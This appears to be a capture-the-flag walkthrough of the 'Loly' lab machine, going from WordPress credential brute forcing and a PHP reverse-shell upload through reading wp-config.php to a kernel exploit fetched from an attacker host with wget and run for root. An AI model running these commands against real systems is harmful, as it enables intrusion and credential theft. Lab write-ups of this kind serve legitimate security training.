Loly Machine โ€” WordPress Exploitation to Kernel-Level Root

๐Ÿงญ Step 1: Initial Enumeration

Started with aggressive Nmap scan:

nmap -sCV -A โ€” min-rate 1000 192.168.xx.xx

Explanation:

  • -sC โ†’ Default scripts
  • -sV โ†’ Version detection
  • -A โ†’ OS detection + scripts
  • โ€” min-rate 1000 โ†’ Faster scan
None

Discovered:

  • Web server running
  • WordPress instance detected

๐ŸŒ Step 2: Directory Enumeration

Used feroxbuster for directory brute forcing:

feroxbuster โ€” url http://192.168.xx.xx -x .php,.html

None

This revealed multiple WordPress-related endpoints including the admin panel.

None

Now we try to open admin webpage in browser but here we get a user named loly now we try password as loly but it is not working

None

๐Ÿ” Step 3: WordPress Credential Brute Force

Attempted default credentials (loly:loly) โ€” failed.

Used WPScan for password brute forcing:

wpscan โ€” url http://192.168.xx.xx โ€” usernames loly โ€” passwords /usr/share/wordlists/rockyou.txt

Successfully discovered valid credentials.

Logged into WordPress admin dashboard.

None

This tool helps to get the credentials

None

Logged into WordPress admin dashboard.

None

๐Ÿ’ฅ Step 4: Abusing File Upload Functionality

Inside WordPress admin:

Media โ†’ Upload functionality was abused.

Prepared PHP reverse shell:

Started listener:

None

first we copy reverse shell php in current directory

None

Now first change the file php-reverse-shell.php to exploit.php and convert this file into zip folder by this command

None

Now first change the file php-reverse-shell.php to exploit.php and convert this file into zip folder by this command

None

now we upload this folder named exploit.php.zip into the website to get unauthorized access and web shell

mv php-reverse-shell.php exploit.php zip exploit.php.zip exploit.php

Uploaded exploit.php.zip through WordPress media manager.

None

An upload functionality in wordpress was abused to upload a php reverse shell script

None

Then we start to open the page /banners with the name of reverse shell file into browser to access the target

Triggered shell via browser:

http://192.168.xx.xx/banners/exploit.php

Reverse shell received successfully.

None

shell received successfully

None

๐Ÿ“ Step 5: Post-Exploitation Enumeration

After shell access:

Collected user flag.

Navigated to:

cd /var/www/html ls

None

Found:

wordpress

Opened configuration file:

cat wp-config.php

Extracted database credentials from configuration.

None

Open this file to get credentials for loly user

None

loly access achieved

None

๐Ÿ” Step 6: Lateral Movement

Used discovered credentials to pivot to another user account on the system.

Gained elevated access.

โšก Step 7: Kernel Enumeration

Checked kernel version:

uname -a

None

Identified vulnerable kernel version.

Searched exploit:

searchsploit <kernel_version>

None

now we use wget command to upload this exploit

Hosted file from attacker machine:

python3 -m http.server 8000

Downloaded on target:

wget http://<attacker_ip>:8000/45010.c

None

Compiled:

gcc exploit.c -o exploit

None

Executed:

./exploit

None

Root shell obtained successfully.

๐Ÿ Final Outcome

โœ”๏ธ Web Enumeration โœ”๏ธ WordPress Credential Brute Force โœ”๏ธ File Upload Exploitation โœ”๏ธ Reverse Shell Access โœ”๏ธ Configuration File Credential Discovery โœ”๏ธ Kernel Exploitation โœ”๏ธ Root Access Achieved

๐ŸŽฅ Full Practical Demonstration For a complete step-by-step video walkthrough, watch here: